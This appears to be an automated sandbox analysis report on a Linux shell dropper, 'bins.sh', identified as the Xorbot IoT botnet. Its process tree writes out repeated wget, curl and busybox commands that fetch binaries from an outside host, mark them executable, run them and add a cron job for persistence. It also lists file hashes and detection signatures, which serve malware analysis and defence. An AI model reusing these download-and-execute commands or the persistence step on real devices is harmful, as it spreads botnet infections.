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Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/02/2025, 17:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0aec7763cd1e0b0ff0816e8a61703e14

  • SHA1

    34d8cc1b3dde4180fc98bb42337526cd285596f7

  • SHA256

    3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb

  • SHA512

    5f0b46c702a374991819ff3d43141d24ad4b6bdbf112848d05cff833a9e37ed2e0f10dd9705e1da911c169a617fbd504806c616a73337888e4a54ee1366ff0b7

  • SSDEEP

    96:YaS+FFFlFcMLLnRL049GDLrHZcUlnBRn7NY8F7XsL3nL4qPjOxLwsOtJb3li6PQ0:lhaOGib0xCruW

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (801) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:718
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:722
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:724
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:740
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • System Network Configuration Discovery
        PID:749
      • /bin/chmod
        chmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
        • File and Directory Permissions Modification
        PID:750
      • /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        ./PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
        2⤵
          PID:751
        • /bin/rm
          rm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:763
          • /bin/chmod
            chmod 777 PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
            2⤵
            • File and Directory Permissions Modification
            PID:766
          • /tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
            ./PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
            2⤵
              PID:767
            • /bin/rm
              rm PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:780
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
                2⤵
                • System Network Configuration Discovery
                PID:791
              • /bin/chmod
                chmod 777 Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
                2⤵
                • File and Directory Permissions Modification
                PID:812
              • /tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
                ./Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
                2⤵
                  PID:814
                • /bin/rm
                  rm Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
                  2⤵
                    PID:817
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:819
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:846
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
                    2⤵
                    • System Network Configuration Discovery
                    PID:848
                  • /bin/chmod
                    chmod 777 i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
                    ./i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
                    2⤵
                      PID:853
                    • /bin/rm
                      rm i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg
                      2⤵
                        PID:855
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:856
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:857
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:859
                      • /bin/chmod
                        chmod 777 yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
                        2⤵
                        • File and Directory Permissions Modification
                        PID:860
                      • /tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
                        ./yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
                        2⤵
                          PID:861
                        • /bin/rm
                          rm yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z
                          2⤵
                            PID:863
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:864
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:865
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:867
                          • /bin/chmod
                            chmod 777 aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
                            2⤵
                            • File and Directory Permissions Modification
                            PID:868
                          • /tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
                            ./aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
                            2⤵
                              PID:869
                            • /bin/rm
                              rm aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d
                              2⤵
                                PID:871
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:872
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:873
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:875
                              • /bin/chmod
                                chmod 777 BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
                                2⤵
                                • File and Directory Permissions Modification
                                PID:876
                              • /tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
                                ./BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:877
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:879
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:880
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:881
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          PID:882
                                    • /bin/rm
                                      rm BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO
                                      2⤵
                                        PID:884
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/tknf8ggkm9amR5TdfAN5jwSS2rZUmHFCDu
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:887

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/BM9LHHBovzXpLCKQEPchwGKl0dUdJSUhmO

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

                                      Filesize

                                      177KB

                                      MD5

                                      786d75a158fe731feca3880f436082c0

                                      SHA1

                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                      SHA256

                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                      SHA512

                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                    • /tmp/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G

                                      Filesize

                                      119KB

                                      MD5

                                      1b166b95f9cb4b079ef1b9ec8363ddf3

                                      SHA1

                                      0d8eb08add467b3b5474f9b25909297fe7c2839c

                                      SHA256

                                      94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                      SHA512

                                      983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                    • /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH

                                      Filesize

                                      98KB

                                      MD5

                                      5141342d0df8699fa32a6b066a0c592e

                                      SHA1

                                      8157673225bd5182f16215e2aa823a25ca2d4fbc

                                      SHA256

                                      54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                      SHA512

                                      d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                    • /tmp/aVIOlXsIWlMuHr7bPFZQ28uU14xpRzct0d

                                      Filesize

                                      112KB

                                      MD5

                                      05d7857dcead18bbd86d2935f591873c

                                      SHA1

                                      34d18f41ef35f93d5364ce3e24d74730a4e91985

                                      SHA256

                                      2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                      SHA512

                                      d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                    • /tmp/i6C3Xfoavwm7JRWli0Gq70yAzBCkM23lIg

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /tmp/yDz9I5BEDnV3apCzeeQ8mgFl3fVJxlxX2z

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /var/spool/cron/crontabs/tmp.2sqsyY

                                      Filesize

                                      210B

                                      MD5

                                      629029de8c44746b3af10e1dca8e4559

                                      SHA1

                                      8031e9bcb00c04d65f62598a1d879383742f182a

                                      SHA256

                                      f99f774ca98be570577e7fe84f40ed95bbe854075b4b6f960b8fc2e1c88baba8

                                      SHA512

                                      a537150fc31608c4ad75ebb704db471ee18bdceb0482e7d9e61e1410ad920b55b96a15184c2d06e00c33a1e4e09deb6cde186ee9004d15d9baca50144712fcbf